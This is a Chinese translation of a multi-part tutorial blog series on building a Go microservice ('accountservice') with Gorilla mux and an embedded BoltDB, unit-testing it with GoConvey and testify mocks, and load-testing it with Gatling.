应该使用什么方法来测试微服务？为一个特定领域制定测试策略时，是否需要考虑特殊的情况？在本博客系列的第 4 部分中，我们将讨论这个话题。

在单元层面中测试微服务的话题
通过 GoConvey 来编写 BDD 风格的单元测试
介绍一种模拟技术

由于此部分不会更改任何核心服务，所以不用进行基准测试。

微服务测试简介

首先，应该牢记测试金字塔原则。

单元测试应该占您所有测试中的大部分，因为集成测试、端到端测试、系统测试和验收测试的开发和维护成本很高。

其次，微服务肯定会带来一些独特的测试挑战。而且其中一部分与传统测试一样，因为微服务有相当一部分也跟传统架构相同。话虽如此，我还是认为有许多微服务特性，超出了传统单元测试的范围，这是我们在博客系列的这一部分中要处理的。

无论如何，我想强调一些要点：

像往常一样进行单元测试：您的业务逻辑、转换器、验证器等没什么不同，只不过它们在微服务的上下文中运行；
集成组件，例如用于与其他服务通信、发送消息、访问数据库的客户端等等，应考虑到依赖注入和可模拟性；
如果不花费足够的时间来编写模拟，那么微服务的很多组件，如：配置访问、与其他服务交流、弹性测试等，可能很难进行单元测试。将这类测试保留到类似集成测试的测试中，在您的测试代码中，您实际上将依赖服务作为 Docker 容器来启动。它会有更大的作用，也更容易启动和运行。

代码

和以前一样，您可以从克隆的仓库中签出相应的分支，以预先获取此部分的完整源代码：

git checkout P4

序言

Go 中的单元测试遵循 Go 作者决定的一些惯用模式。测试源文件通过命名约定标识。例如，如果我们想要测试 handlers.go 文件中的内容，则应该在同一目录中创建文件 handlers_test.go。那么我们就这样做吧。

我们将从一个该受批评的路径测试开始，该测试断言如果我们请求一个未知路径，则会得到一个 HTTP 404：

package service

import (
        . "github.com/smartystreets/goconvey/convey"
        "testing"
        "net/http/httptest"
)

func TestGetAccountWrongPath(t *testing.T) {

        Convey("Given a HTTP request for /invalid/123", t, func() {
                req := httptest.NewRequest("GET", "/invalid/123", nil)
                resp := httptest.NewRecorder()

                Convey("When the request is handled by the Router", func() {
                        NewRouter().ServeHTTP(resp, req)

                        Convey("Then the response should be a 404", func() {
                                So(resp.Code, ShouldEqual, 404)
                        })
                })
        })
}

此测试展示了 GoConvey 的 Given-When-Then 行为驱动结构，以及 So A ShouldEqual B 的断言样式。它还介绍了 httptest 包的用法，我们使用它来声明请求对象，并方便地对其响应对象进行断言。

通过移动到 accountservice 根目录并输入以下命令来运行它：

> go test ./...
?   	github.com/callistaenterprise/goblog/accountservice	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/dbclient	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/model	[no test files]
ok  	github.com/callistaenterprise/goblog/accountservice/service	0.012s

对 ./... 感到惊讶？它的意思是：我们告诉 go test 在当前文件夹和所有子文件夹中运行所有测试。我们也可以进入 /service 文件夹并输入 go test 来仅在该文件夹中执行测试。

由于 service 包是唯一带有测试文件的包，因此其它包报告：那里没有测试。到目前为止还不错！

模拟

我们上面创建的测试不需要模拟任何东西，因为实际调用不会到达我们在第 3 部分中创建的依赖于 DBClient 的 GetAccount 函数。对于真正想要返回一些数据的路径测试，我们需要以某种方式来模拟我们用来访问 BoltDB 的客户端。有很多在 Go 中进行模拟的策略。我将使用我最喜欢的包 stretchr/testify/mock 来展示。

在 /dbclient 文件夹中，创建一个名为 mockclient.go 的新文件，该文件将实现我们的 IBoltClient 接口。

package dbclient

import (
        "github.com/stretchr/testify/mock"
        "github.com/callistaenterprise/goblog/accountservice/model"
)

// MockBoltClient is a mock implementation of a datastore client for testing purposes.
// Instead of the bolt.DB pointer, we're just putting a generic mock object from
// strechr/testify
type MockBoltClient struct {
        mock.Mock
}

// From here, we'll declare three functions that makes our MockBoltClient fulfill the interface IBoltClient that we declared in part 3.
func (m *MockBoltClient) QueryAccount(accountId string) (model.Account, error) {
        args := m.Mock.Called(accountId)
        return args.Get(0).(model.Account), args.Error(1)
}

func (m *MockBoltClient) OpenBoltDb() {
        // Does nothing
}

func (m *MockBoltClient) Seed() {
        // Does nothing
}

MockBoltClient 现在作为我们定制的模拟正常工作。如上，此代码隐式实现了 IBoltClient 接口，因为 MockBoltClient 结构具有附加的方法，这些方法与 IBoltClient 接口声明的方法签名相同。

如果您不喜欢为模拟程序编写样板代码，建议您研究一下 Mockery，它可以为任何 Go 接口生成样板代码。

QueryAccount 函数的主体可能看起来有点奇怪，但这其实是 strechr/testify 生成的，我们可以控制它的生成代码。

编写模拟程序

让我们在 handlers_test.go 中创建另一个测试函数：

func TestGetAccount(t *testing.T) {
        // Create a mock instance that implements the IBoltClient interface
        mockRepo := &dbclient.MockBoltClient{}

        // Declare two mock behaviours. For "123" as input, return a proper Account struct and nil as error.
        // For "456" as input, return an empty Account object and a real error.
        mockRepo.On("QueryAccount", "123").Return(model.Account{Id:"123", Name:"Person_123"}, nil)
        mockRepo.On("QueryAccount", "456").Return(model.Account{}, fmt.Errorf("Some error"))
        
        // Finally, assign mockRepo to the DBClient field (it's in _handlers.go_, e.g. in the same package)
        DBClient = mockRepo
        ...
}

然后，将上面的 ... 省略部分替换为另一个 GoConvey 测试：

Convey("Given a HTTP request for /accounts/123", t, func() {
        req := httptest.NewRequest("GET", "/accounts/123", nil)
        resp := httptest.NewRecorder()

        Convey("When the request is handled by the Router", func() {
                NewRouter().ServeHTTP(resp, req)

                Convey("Then the response should be a 200", func() {
                        So(resp.Code, ShouldEqual, 200)

                        account := model.Account{}
                        json.Unmarshal(resp.Body.Bytes(), &account)
                        So(account.Id, ShouldEqual, "123")
                        So(account.Name, ShouldEqual, "Person_123")
                })
        })
})

该测试对模拟程序已知的路径 /accounts/123 发出请求。在 When 代码块中，我们断言HTTP 状态，解码返回的 Account 结构，并断言字段与我们要求模拟返回的内容匹配。

我喜欢 GoConvey 和 Given-When-Then 编写测试的方式的原因是：它们非常易于阅读并且结构良好。

我们还可以添加另一个该受批评的路径，请求 /accounts/456 并断言返回 HTTP 404：

Convey("Given a HTTP request for /accounts/456", t, func() {
        req := httptest.NewRequest("GET", "/accounts/456", nil)
        resp := httptest.NewRecorder()

        Convey("When the request is handled by the Router", func() {
                NewRouter().ServeHTTP(resp, req)

                Convey("Then the response should be a 404", func() {
                        So(resp.Code, ShouldEqual, 404)
                })
        })
})

再次运行我们的测试：

> go test ./...
?   	github.com/callistaenterprise/goblog/accountservice	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/dbclient	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/model	[no test files]
ok  	github.com/callistaenterprise/goblog/accountservice/service	0.026s

全部通过！GoConvey 实际上有一个交互式 GUI，每次保存文件时，它都可以执行所有测试。我不会详细介绍它，但是它的界面看起来像这样，并提供自动代码覆盖率报告之类的功能：

其他类型的测试

这些 GoConvey 测试是单元测试，尽管并不是每个人都以 BDD-style 编写它们。Golang 还有许多其他测试框架，使用您喜欢的搜索引擎进行搜索可能会给您许多有趣的选择。

如果我们以测试金字塔为准则，那么我们接下来就要编写集成测试，最后再使用 cucumber 之类的工具来进行验收测试。目前来说这超纲了，但是我们希望稍后再返回讨论有关集成测试的主题，后面我们可以在测试代码中启动一个真正的 BoltDB，也许可以通过使用 Go Docker Remote API 和一个预先定义好的 BoltDB 镜像来实现它。

集成测试的另一种方法是：自动化、Docker 化微服务环境的部署。请参考我去年写的博客文章。其中，我编写了一个小的 Go 程序来启动 .yaml 配置文件中规定的所有微服务，包括支持服务，然后对这些服务执行一些 HTTP 调用以确保部署是正确的。

总结

在这一部分中，我们使用第三方的 GoConvey 和 Stretcher/Testify/Mock 包编写了我们的第一个单元测试。我们将在博客系列的后续部分中编写更多测试。

在接下来的部分，是时候使用我们心心念念的 Docker Swarm 来启动、运行和部署微服务了。

[译]用 Go 语言编写一个微服务博客 — 第三部分 — 嵌入数据库并提供 JSON 服务

Tue, 14 Mar 2017 03:20:15 GMT

原文链接：Go Microservices, part 3 - embedded database and JSON

在第 3 部分中，我们将使我们的 Accountservice 做一些有用的事情。

声明一个 Account 结构体。
嵌入一个简单的键值存储，这样我们就可以在其中存储 Account 结构体。
将结构体序列化为 JSON，并通过我们的 /accounts/{accountId} HTTP 服务提供服务。

代码

和本博客系列的所有后续部分一样，您可以通过克隆源代码（请参阅第 2 部分）并切换到 P3 分支来获得该部分的完整代码，如：

git checkout P3

声明一个账户结构体

有关 Go 结构体的更详细介绍，请查看这个指南。

在我们的项目中，在 /accountservice 下创建一个名为 model 的文件夹。

mkdir model

然后在 model 文件夹中创建一个名为 account.go 的文件，其内容如下：

package model

type Account struct {
        Id string `json:"id"`
        Name string  `json:"name"`
}

这段代码声明了我们的 Account 抽象，它基本上就是一个 id 和一个 name。变量名第一个字母的大小写表示作用域（大写表示包外可见，小写表示包外不可见）。我们还使用标准库的 json.Marshal 函数和标签来表示 Go 应如何序列化每个字段。

嵌入键值存储

为此，我们将使用 BoltDB 键值存储数据库。它简单，快速且易于使用。我们需要在声明使用依赖项之前使用 go get 来下载依赖项：

go get github.com/boltdb/bolt

接下来，在 /goblog/accountservice 文件夹中，创建一个名为 dbclient 的文件夹和一个名为 boltclient.go 的文件。为了使以后的模拟测试更加容易，我们先声明一个接口，该接口定义了我们需要实现的函数：

package dbclient

import (
        "github.com/callistaenterprise/goblog/accountservice/model"
)

type IBoltClient interface {
        OpenBoltDb()
        QueryAccount(accountId string) (model.Account, error)
        Seed()
}

在同一文件中，我们将提供此接口的实现。首先声明一个结构体，该结构体封装了一个指向 bolt.DB 实例的指针。

// Real implementation
type BoltClient struct {
        boltDB *bolt.DB
}

然后是 OpenBoltDb() 的实现。

func (bc *BoltClient) OpenBoltDb() {
        var err error
        bc.boltDB, err = bolt.Open("accounts.db", 0600, nil)
        if err != nil {
                log.Fatal(err)
        }
}

我们将函数绑定到结构体上的 Go 语法可能会有些奇怪。现在，我们的结构体隐式实现了三种方法之一。

我们将在某个地方需要这个 bolt client 的实例。让我们在 /goblog/accountservice/service/handlers.go 中将其放在要被使用的地方。创建该文件并添加结构体实例：

package service

import (
        "github.com/callistaenterprise/goblog/accountservice/dbclient"
)

var DBClient dbclient.IBoltClient

更新 main.go，以便它在启动时打开数据库：

func main() {
        fmt.Printf("Starting %v\n", appName)
        initializeBoltClient()                 // NEW
        service.StartWebServer("6767")
}

// Creates instance and calls the OpenBoltDb and Seed funcs
func initializeBoltClient() {
        service.DBClient = &dbclient.BoltClient{}
        service.DBClient.OpenBoltDb()
        service.DBClient.Seed()
}

现在，我们的微服务应该可以在启动时创建一个数据库。但是，在运行之前，我们将添加一段代码，这些代码将在启动时为我们添加一些假帐户数据。

启动时添加一些假账户数据

再次打开 boltclient.go 并添加以下函数：

// Start seeding accounts
func (bc *BoltClient) Seed() {
        initializeBucket()
        seedAccounts()
}

// Creates an "AccountBucket" in our BoltDB. It will overwrite any existing bucket of the same name.
func (bc *BoltClient) initializeBucket() {
        bc.boltDB.Update(func(tx *bolt.Tx) error {
                _, err := tx.CreateBucket([]byte("AccountBucket"))
                if err != nil {
                        return fmt.Errorf("create bucket failed: %s", err)
                }
                return nil
        })
}


// Seed (n) make-believe account objects into the AcountBucket bucket.
func (bc *BoltClient) seedAccounts() {

        total := 100
        for i := 0; i < total; i++ {

                // Generate a key 10000 or larger
                key := strconv.Itoa(10000 + i)

                // Create an instance of our Account struct
                acc := model.Account{
                        Id: key,
                        Name: "Person_" + strconv.Itoa(i),
                }

                // Serialize the struct to JSON
                jsonBytes, _ := json.Marshal(acc)

                // Write the data to the AccountBucket
                bc.boltDB.Update(func(tx *bolt.Tx) error {
                        b := tx.Bucket([]byte("AccountBucket"))
                        err := b.Put([]byte(key), jsonBytes)
                        return err
                })
        }
        fmt.Printf("Seeded %v fake accounts...\n", total)
}

有关 Bolt API 的更多信息以及 Update 方法如何接收我们的函数的详细信息，请参阅 BoltDB 文档。

目前为止，我们已经完成了跟 BoltDB 有关的部分。让我们再次编译并运行：

> go run *.go
Starting accountservice
Seeded 100 fake accounts...
2017/01/31 16:30:59 Starting HTTP service at 6767

很好！可以使用 Ctrl+C 停止运行。

添加一个查询方法

现在，我们通过向 boltclient.go 添加 Query 方法来完成我们的数据库 API：

func (bc *BoltClient) QueryAccount(accountId string) (model.Account, error) {
        // Allocate an empty Account instance we'll let json.Unmarhal populate for us in a bit.
        account := model.Account{}

        // Read an object from the bucket using boltDB.View
        err := bc.boltDB.View(func(tx *bolt.Tx) error {
                // Read the bucket from the DB
                b := tx.Bucket([]byte("AccountBucket"))

                // Read the value identified by our accountId supplied as []byte
                accountBytes := b.Get([]byte(accountId))
                if accountBytes == nil {
                        return fmt.Errorf("No account found for " + accountId)
                }
                // Unmarshal the returned bytes into the account struct we created at
                // the top of the function
                json.Unmarshal(accountBytes, &account)

                // Return nil to indicate nothing went wrong, e.g no error
                return nil
        })
        // If there were an error, return the error
        if err != nil {
                return model.Account{}, err
        }
        // Return the Account struct and nil as error.
        return account, nil
}

如果代码不够清晰，可以理解一些注释。该函数将使用提供的 accountId 参数查询 BoltDB，并将返回 Account 结构体或一个 error。

通过 HTTP 提供账户服务

让我们修复在 /service/routes.go 中声明的 /accounts/{accountId} 路由，以便它正确返回刚才我们建立的假数据 Account 结构体。打开 routes.go 并用我们稍后将创建的函数 GetAccount 替换原来的 func（w http.ResponseWriter，r * http.Request）{：

Route{
        "GetAccount",             // Name
        "GET",                    // HTTP method
        "/accounts/{accountId}",  // Route pattern
        GetAccount,
},

接下来使用符合 HTTP handler 函数签名的 GetAccount 函数来更新 /service/handlers.go：

var DBClient dbclient.IBoltClient

func GetAccount(w http.ResponseWriter, r *http.Request) {

	// Read the 'accountId' path parameter from the mux map
	var accountId = mux.Vars(r)["accountId"]

        // Read the account struct BoltDB
	account, err := DBClient.QueryAccount(accountId)

        // If err, return a 404
	if err != nil {
		w.WriteHeader(http.StatusNotFound)
		return
	}

        // If found, marshal into JSON, write headers and content
	data, _ := json.Marshal(account)
	w.Header().Set("Content-Type", "application/json")
	w.Header().Set("Content-Length", strconv.Itoa(len(data)))
	w.WriteHeader(http.StatusOK)
	w.Write(data)
}

GetAccount 函数符合 handler 函数签名，所以当 Gorilla 检测到对 /accounts/{accountId} 的调用时，它会把请求路由到 GetAccount 函数中。让我们来运行它看看！

> go run *.go
Starting accountservice
Seeded 100 fake accounts...
2017/01/31 16:30:59 Starting HTTP service at 6767

使用 curl 调用该 API。注意，我们前面创建了 100 个 ID 从 10000 开始的假帐户。

> curl http://localhost:6767/accounts/10000
{"id":"10000","name":"Person_0"}

很好！现在，我们的微服务真正地通过 HTTP 从数据库中提供 JSON 数据。

运行时和性能表现

让我们检查与第 2 部分中相同的内存和 CPU 使用率指标：场景分别是负载测试前、负载测试中和负载测试后。

启动后的内存使用情况

2.1 mb，还是很不错！添加嵌入式 BoltDB 和一些其他代码来处理路由，使得我们的初始内存占用增加了 300kb。让我们以 1K req/s 的速度来运行 Gatling 测试。现在，我们返回的是从 BoltDB 获取的真实的 Account 对象，而且该对象已序列化为 JSON：

负载测试后的内存使用情况

31.2 mb 的内存占用。与第 2 部分中的简单服务相比，使用嵌入式数据库并达到 1K req/s 的额外开销确实很小。

性能和 CPU 占用率

1K req/s 约占单个核心的 10%。BoltDB 和 JSON 序列化的开销不是很大，很好！顺便说一下：最上面的 Java 进程是我们的 Gatling 测试，实际上它使用的 CPU 资源约为我们服务的 3 倍。

平均响应时间仍小于一毫秒。

也许我们应该在更重的负载下进行测试，比如说 4K req/s？（注意，可能需要在操作系统级别上增加可用文件句柄的数量）：

内存使用率为 4K req/s

约 120 mb。几乎正好增加了 4 倍。几乎可以肯定，使用 n/o 并发请求导致的内存增加是由于 Go 运行时，或者是 Gorilla 随着负载提高而增加的用于为请求提供服务的 goroutine。

4K req/s 的性能

在 4K req/s 下，CPU 使用率保持在 30% 以下。此时，即便在配备 16 GB RAM/Core i7 的笔记本电脑上运行，瓶颈也可能会出现在 IO 或文件句柄，而不是 CPU。

现在，平均等待时间终于提升为 1 ms，其中 95% 的请求保持在 3 ms 以下。虽然我们确实看到延迟在 4K req/s 时受到冲击，但是我个人认为带有嵌入式 BoltDB 的小型服务 Accountservice 的性能确实很好。

与其他平台的比较

其他人可能会写一些有趣的博客文章，关于将该 accountservice 在 JVM、NodeJS 或 CLR 等上实现，并对其进行基准测试。

我在 2015 年底对此进行了一些简单的不够准确的基准测试（使用 Gatling 测试套件），比较了分别在 Go 1.5、Java 8 Spring Boot 和 NodeJS 中实现的 HTTP/JSON 服务 + MongoDB 读取。在该特殊情况下，基于 JVM 和 Go 的解决方案都可以很好地扩展，但 Go 与JVM 的延迟相比略有优势。NodeJS 的性能与上述方案相似，直到单个内核上的 CPU 利用率达到 100%，这时延迟就开始出现下降了。

请不要将上述基准测试当作某种依据，因为这只是我自己做的一个快速而不专业的测试。

因此，尽管我已经展示了使用 Go 1.7 编写的 accountservice 在 4K req/s 下可观的性能数据，但其他平台也有可能达到这个性能，不过我也怀疑它们的内存使用是否比 Go 少。也许您的体验和我不同。

后记

在本博客系列的下一部分中，我们将看看如何使用 GoConvey 并模拟 BoltDB 客户端来对服务进行单元测试。

[译]用 Go 语言编写一个微服务博客 — 第二部分 — 构建我们的第一个微服务

Tue, 07 Mar 2017 09:30:05 GMT

原文链接：Go microservices, part 2 - building our first service

在本博客系列的第二部分，我们将：

设置我们的 Go 工作区
构建我们的第一个微服务
使用 Gorilla Web Toolkit，通过 HTTP 提供 JSON 服务

为了专注于 Go 的基本概念，我们稍后再将其部署到 Docker Swarm。

序言

尽管通过 HTTP 提供 JSON 服务不是唯一选择，但在本博客系列中，我们将专注于 HTTP 和 JSON。

当外部的消费者服务是另一个系统时，对于服务间通信和外部通信，使用 RPC 工具和二进制消息格式，如：Protocol Buffers，是一个非常有趣的选择。

Go 有内置的 RPC 支持，而且 gRPC 也绝对值得使用。但是，现在我们先专注于内置的 http 包和 Gorilla Web Toolkit 提供的 HTTP 服务。

另一个需要考虑的方面是，很多实用的框架都依赖于 HTTP 头在端点之间传递的状态。

我们将在后面的博客文章中看到的示例是：在 HTTP 头中传递相关 ID 和 OAuth 数据。

尽管其它协议一定支持类似的机制，但很多框架都是在考虑 HTTP 协议的情况下构建的，我更希望我们的实现越直观越好。

设置 Go 工作区

如果您已经是一位经验丰富的 Go 开发人员，可以随时跳过本节。以我的拙见，Go 工作区的结构需要一段时间才能习惯。

我通常将项目根目录当作工作区根目录，但关于如何正确创建工作区以使 Go 编译器可以找到源代码和依赖关系的规则有点不合理。将您的项目放在 src 文件夹下，如：src/project-name 然后使用类似 project-name 的路径来使用。

我强烈建议您在开始之前先阅读官方指南和这篇文章。

安装 SDK

在编写第一行代码（或检出完整源代码）之前，我们需要安装 Go SDK。我建议遵循官方指南，它足够直观。

设置开发环境

在本博客系列中，我们将使用刚安装的内置 Go SDK 工具来构建和运行，以及遵循惯用的方式来设置 Go 工作区。

1. 在工作区创建一个根文件夹

所有命令均基于 OS X 或 Linux 开发环境。如果您使用的是 Windows，请酌情修改。

mkdir ~/goworkspace
cd goworkspace
export GOPATH=`pwd` // 译者注：pwd 表示使用当前目录

在以上命令中，我们创建了一个根文件夹，然后设置环境变量 GOPATH 为该路径。

这是我们工作区的根目录，在此工作区中，我们编写的所有 Go 源代码或将要使用的第三方包都将出现在这里。

我建议将 GOPATH 添加到您的 .bash_profile 或类似文件中，这样就不用在每次打开新的终端窗口后都需要重新设置。

2. 为我们的第一个项目创建文件夹和文件

假设我们位于工作空间的根目录下（与 GOPATH 环境变量对应的值相同），请执行以下命令：

mkdir -p src/github.com/callistaenterprise

如果您想跟着我来编写代码，请执行以下命令：

cd src/github.com/callistaenterprise
mkdir -p goblog/accountservice
cd goblog/accountservice
touch main.go
mkdir service

或者，您可以 clone 包含示例代码的 Git 仓库，然后切换到 P2 分支。在上面创建的 src/github.com/callistaenterprise 目录下，执行以下命令：

git clone https://github.com/callistaenterprise/goblog.git
cd goblog
git checkout P2

注意：$GOPATH/src/github.com/callistaenterprise/goblog 是我们项目的根目录，也是 GitHub 上存储的内容。

现在，我们可以根据这些文件结构来开始了。

在你的 Go IDE 中打开 main.go。

在编写该博客系列的代码时，我用的是带 Go 插件的 IntelliJ IDEA。

其它流行的选择似乎是 Eclipse、Atom、Sublime、vim 和 JetBrains 公司的新型商用 IDE：GoLand。

创建服务 - main.go

main 函数在 Go 中正如您想的那样，是整个 Go 程序的入口点。

让我们创建足够多的代码来让其可以构建和运行。

package main

import (
        "fmt"
        )
        
var appName = "accountservice"

func main() {
    fmt.Printf("Starting %v\n", appName)
}

现在，让我们运行它。

确保您位于与 $GOPATH/src/github.com/callistaenterprise/goblog/accountservice 对应的文件夹。

> go run *.go
Starting accountservice
>

完成了！但这个程序只会打印然后退出。是时候添加我们的第一个 HTTP 端点了。

构建一个 HTTP Web 服务器

注意：这些基础的 HTTP 示例来自一篇出色的博客文章。

为了简洁，我们将所有与 HTTP 服务有关的文件都放入 service 文件夹中。

HTTP 服务器启动器

在 /services 文件夹中创建文件 webserver.go：

package service

import (
        "net/http"
        "log"
)

func StartWebServer(port string) {

        log.Println("Starting HTTP service at " + port)
        err := http.ListenAndServe(":" + port, nil)    // goroutine 将会阻塞在这里

        if err != nil {
                log.Println("An error occured starting HTTP listener at port " + port)
                log.Println("Error: " + err.Error())
        }
}

我们正在使用内置的 net/http 包来执行 ListenAndServe，它会在指定端口上启动 HTTP 服务器。

更新 main.go，以便我们使用暂时硬编码的端口来调用 StartWebServer 函数。

package main

import (
        "fmt"
        "github.com/callistaenterprise/goblog/accountservice/service"  // 新的
)

var appName = "accountservice"

func main() {
        fmt.Printf("Starting %v\n", appName)
        service.StartWebServer("6767")           // 新的
}

再次运行程序：

> go run *.go
Starting accountservice
2017/01/30 19:36:00 Starting HTTP service at 6767

现在，我们有一个简单的 HTTP 服务器，用于监听 localhost 上的端口 6767。

使用 curl 访问它：

> curl http://localhost:6767
404 page not found

404 正是我们期望的，因为我们尚未声明任何路由。

通过快捷键 Ctrl+C 来停止 Web 服务器。

添加第一个路由

是时候该为我们的服务器提供服务了。

首先，我们将使用 Go 结构体声明我们的第一个路由，该结构体将用于填充 Gorilla 路由。

在 service 文件夹中，创建 routes.go：

package service

import "net/http"

// 定义一个单独的 route，内容如下：名字、HTTP 方法、路由模式和访问路由时会执行的函数
type Route struct {
	Name        string
	Method      string
	Pattern     string
	HandlerFunc http.HandlerFunc
}

// 定义 Routes 类型，它只是 Route 结构的一个数组（切片）。
type Routes []Route

// 初始化我们的 routes
var routes = Routes{

	Route{
		"GetAccount",                                     // 名字
		"GET",                                            // HTTP 方法
		"/accounts/{accountId}",                          // 路由模式
		func(w http.ResponseWriter, r *http.Request) {
            w.Header().Set("Content-Type", "application/json; charset=UTF-8")
            w.Write([]byte("{\"result\":\"OK\"}"))
        },
	},
}

在上面的代码段中，我们声明了 /accounts/{accountId} 路径，等一下可以使用 curl 来试用。

Gorilla 对复杂的路由还支持正则表达式、schemes、HTTP 方法、查询参数和 HTTP 头，因此当然不仅仅限于路径和路径参数。

现在，我们将仅返回一条已硬编码为响应的 JSON 消息：

{"result":"OK"}

我们还需要一些样板代码，将实际的 Gorilla Router 绑定到我们声明的路由。在 service 文件夹中，创建 router.go：

package service

import (
	"github.com/gorilla/mux"
)

// 函数返回指向 mux.Router 的指针，我们可以用作 handler
func NewRouter() *mux.Router {

        // 创建一个 Gorilla router 的实例
	router := mux.NewRouter().StrictSlash(true)
	
	// 遍历在 route.go 中声明的路由，并将其附加到 router 实例
	for _, route := range routes {
	    
                // 附加每个 route，使用类似 Builder 的模式设置每个 route
		router.Methods(route.Method).
                Path(route.Pattern).
                Name(route.Name).
                Handler(route.HandlerFunc)
	}
	return router
}

导入依赖项

在 router.go 的 import 中，我们看到我们已经声明了对 github.com/gorilla/mux 包的依赖。

有关如何使用 go get 下载 Go 依赖项的详细说明，请参见此处。

为了构建并运行上述文件，我们需要使用 go get 将声明的包下载到我们的工作空间中：

> go get

由于 Go 工具实际上是从 https://github.com/gorilla/mux 下载 gorilla/mux 所需的所有源代码，因此可能需要一些时间。

此源代码将最终在本地文件系统上的 $GOPATH/src/github.com/gorilla/mux 中，并将其内置到您的静态链接二进制文件中。

调用

现在，重新编辑 webserver.go 并在 StartWebServer 函数的开始处添加以下两行：

func StartWebServer(port string) {

        r := NewRouter()             // 新的
        http.Handle("/", r)          // 新的

这会将我们刚刚创建的路由关联到根路径为 / 的 http.Handle 中。让我们再次构建并运行服务器。

> go run *.go
Starting accountservice
2017/01/31 15:15:57 Starting HTTP service at 6767

试试看 curl：

> curl http://localhost:6767/accounts/10000
{"result":"OK"}

很好！我们刚刚成功创建了第一个 HTTP 服务！

运行时和性能表现

我们最好做一个快速的基准测试，以了解基于 Go 的微服务的性能。

我已经开发了一个简单的 Gatling 测试，可以使用 GET 请求对 /accounts/{accountId} 进行评估。

如果您已检出此部分的代码，则可以在 /goblog/loadtest 文件夹中找到该负载测试。

或者您可以在 github 上查看它。

运行负载测试

如果要运行负载测试，请确保 accountservice 已启动并在 localhost 上运行，并且已克隆了代码和签出了 P2分支。

您还需要安装 Java Runtime Environment 和 Apache Maven。

进入 /goblog/loadtest 目录，然后从命令行执行以下命令：

> mvn gatling:execute -Dusers=1000 -Dduration=30 -DbaseUrl=http://localhost:6767

该命令可以运行测试。参数的含义为：

users：测试将模拟的并发用户数
duration：测试将运行多少秒
baseUrl：提供我们需要测试的服务主机的基本路径。当我们迁徙至 Docker Swarm 时，需要将baseUrl 更改为 Swarm 的公共 IP。

测试完成后，它会将结果写入控制台窗口，并将精美的 HTML 报告写入 target/gatling/results/ 中。

结果

注意：当我们要构建的服务在 Docker Swarm 上的 Docker 容器内运行时，我们将在那里做基准测试和指标获取的工作。

在那之前，我的 mid-2014 MacBook Pro 必须有足够的性能。

在开始负载测试之前，根据 OS X 任务管理器，基于 Go 的 accountservice 的内存消耗如下：

1.8 mb，还不错！让我们通过 1K req/s 的指标来运行 Gatling 测试。

请记住，这是一个非常简单的实现，只响应一个硬编码的字符串。

内存占用

好了，1K req/s 的指标会使 accountservice 消耗约 28 mb 的内存。

这只是 Spring Boot 应用程序启动时使用的 1/10。一旦我们开始向其添加实际功能，注意这个数字的变化将非常有趣。

性能和 CPU 占用率

1K req/s 的指标约占单个核心的 8％。

请注意 Gatling 如何舍入亚毫秒级（不到一毫秒）的延迟，但平均延迟报告为 0 毫秒，其中一个请求耗时 11 毫秒。

在这一点上，我们的 accountservice 表现出色，在亚毫秒范围内的平均速度为 745~req/s。

下一步是什么？

在接下来的系列中，我们会使我们的 accountservice 做些有用的事情。

我们将添加一个带有 Account 对象的简单嵌入式数据库，该对象将通过 HTTP 提供服务。

我们还将研究 JSON 序列化，并检查这些新增内容如何影响其内存占用和性能。

[译]用 Go 语言编写一个微服务博客 — 第一部分 — Go 语言微服务介绍和使用 Go 语言编写微服务的原因

Wed, 01 Mar 2017 09:31:04 GMT

原文链接：Go Microservices blog series, part 1

在本博客系列中，我们将会使用 Go 语言编写一个微服务博客系统，通过逐步添加组件，使得整个微服务能够以 Docker Swarm 模式在 Spring Cloud/Netflix OSS 上正常运行。

如果您不知道什么是微服务，我建议您阅读 Martin Fowler’s 的文章来学习它。

有关微服务的更多信息，我的同事 Magnus 的一篇博客文章很好地解释了其中的一些关键概念。

本博客系列不是 Go 语言的指南，尽管在整个过程中会编写一些代码，但我只会解释一些 Go 语言的关键概念。

我们将在第一部分阅读大量代码，包括基本功能、单元测试和其它核心主题。

注意：在本博客系列中提及 Docker Swarm 时，我指的是以 swarm 模式运行 Docker 1.12+。作为独立概念的 Docker Swarm 在 Docker 1.12 版本后不再使用。

全局概述

下图展示了我们将在整个系列中编写的系统，我们将从编写第一个 Go 语言微服务开始，然后会越来越接近下图所示的内容。

图例说明：

白色虚线框：在一个或多个节点上运行的逻辑 Docker Swarm 集群；
蓝框：支持 Spring Cloud/Netflix OSS 技术栈的服务和一些其它服务，如：Zipkin；
土黄色框和白色框：实际的微服务。

整个环境几乎与 Magnus Larssons 微服务博客系列中的相同，主要区别在于实际的微服务由 Go 语言编写，而不是 Java。

但 quotes-service 是个例外，它基于 JVM，专门用来测试与 Go 语言微服务的集成。

使用 Go 语言编写微服务的原因 — 运行时空间

可能有人会问，为什么我们要用 Go 语言编写微服务？

除了 Go 语言是一门非常有趣且高效的语言外，使用 Go 语言编写微服务的主要原因是它有着少量的内存占用。

让我们看一下下面的截图，我们在 Docker Swarm 中运行了几个微服务：

其中，quotes-service 基于 Spring Boot 和 Spring Cloud；compservice 和 accountservice 基于 Go 语言。

两者都是 HTTP 服务器，里面部署了许多库来处理与 Spring Cloud 的集成。

让人感到疑惑的是，内存占用在 2017 年真的重要吗？我们现在很容易获取到大容量内存服务器，而这些大容量内存服务器可以轻松地容纳大量基于 Java 的应用程序。

但一个大型的企业不会只有十个左右的微服务，他们可能会在云服务器上运行成百上千个容器化的微服务。当运行大量容器时，少量的内存占用可以随着时间的推移为您的公司节省大量资金。

让我们来看一下按需计费的通用 Amazon EC2 实例的定价（2017-02-15 前）：

比较各种 t2 实例，我们可以看到对于给定的 CPU 核数，如果将内存数量翻倍（例如：从 t2.medium 的 4 GB 到 t2.large 的 8 GB），那么每小时费用也增加了一倍。

如果不是 CPU 密集型的应用，这意味着在指定实例中能够容纳两倍数量的微服务，从理论上来说，这使您的云服务器费用减少一半。

在接下来的博客系列中，我们也会看到一个复杂的 Go 语言微服务使用的内存也比一个简单的 Spring Boot 微服务使用的内存要少很多。

该微服务的非功能需求

本博客系列不仅涉及如何编写基于 Go 语言的微服务，还涉及如何使其在 Spring Cloud 环境中良好运行，并达到生产级别的质量。

非功能性需求如下：

配置集中
服务发现
日志
分布式链路跟踪
断路器模式（熔断）
负载均衡
边缘计算
实时监控
安全

